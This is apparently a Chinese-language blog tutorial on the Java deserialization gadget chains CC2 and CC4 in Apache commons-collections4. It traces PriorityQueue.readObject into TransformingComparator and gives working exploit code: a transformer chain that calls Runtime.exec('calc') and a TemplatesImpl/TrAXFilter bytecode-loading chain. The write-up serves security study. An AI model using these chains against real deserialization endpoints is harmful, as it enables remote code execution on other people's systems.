java反序列化CC2&CC4链

前言

今天所幸把CC链全部写完吧,这篇不止是CC2和CC4
我们知道,除了commons-collections3,我们还可以用commons-collections4
这个库出现了新的链子
CC2
为什么呢?
3.2.1没有实现TransformingComparator类的Serializable接口,即无法被序列化
而commons-collections4实现了,即可以被序列化
在这,我们也学习新的入口类方式,也会出现在我们今后的学习之中

CC2

除了org.apache.commons.collections4.comparators.TransformingComparator这个关键类
还有java.util.PriorityQueue
PriorityQueue类里面实现了readobject方法
TransformingComparator类里面可以调用transformer
就这两点,已经搭起了一条链子的框架
要搭的也就只是从PriorityQueue到TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] faketarsnformers=new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc"}),
};


Transformer transformerChain = new ChainedTransformer(faketarsnformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1,Tcomparator);

queue.add(1);
queue.add(1);
setFieldValue(transformerChain,"iTransformers",transformers);

运行发现弹了两次计算机,莫非是中间有污染执行了一次?
看TransformingComparator实现

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

看PriorityQueue类的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

跟进heapify方法

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟进siftDown方法

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

再跟进siftDownUsingComparator方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

调用了comparator的compare方法
调试发现两个obj都是chaintransformer对象,因此弹了两次计算器

CC4

CC4比CC2成功的点在于,CC4使用了TemplateImpl类命令执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

// Transformer[] transformers={
// new ConstantTransformer(TrAXFilter.class),
// instantiateTransformer
// };

ChainedTransformer chainedTransformer =new ChainedTransformer(instantiateTransformer);//
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("sheep"));//传入假的,防止add弹

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(TrAXFilter.class);
priorityQueue.add(1);

setFieldValue(transformingComparator,"transformer",chainedTransformer);

分析

主要也没啥好说的,有意思的是我们没用tansformer数组,利用priorityQueue.add(TrAXFilter.class);直接加了进去,

1
2
无意义的String
这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant

此版本为commons-collections4,在commons-collecntion3中也存在着不依赖transformers数组类型的链子
与这个同理

1
2
3
final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

比如这样

结语


CC链快结束啦,可以好好看看进行梳理
学完CC链才可以说你开始学java了()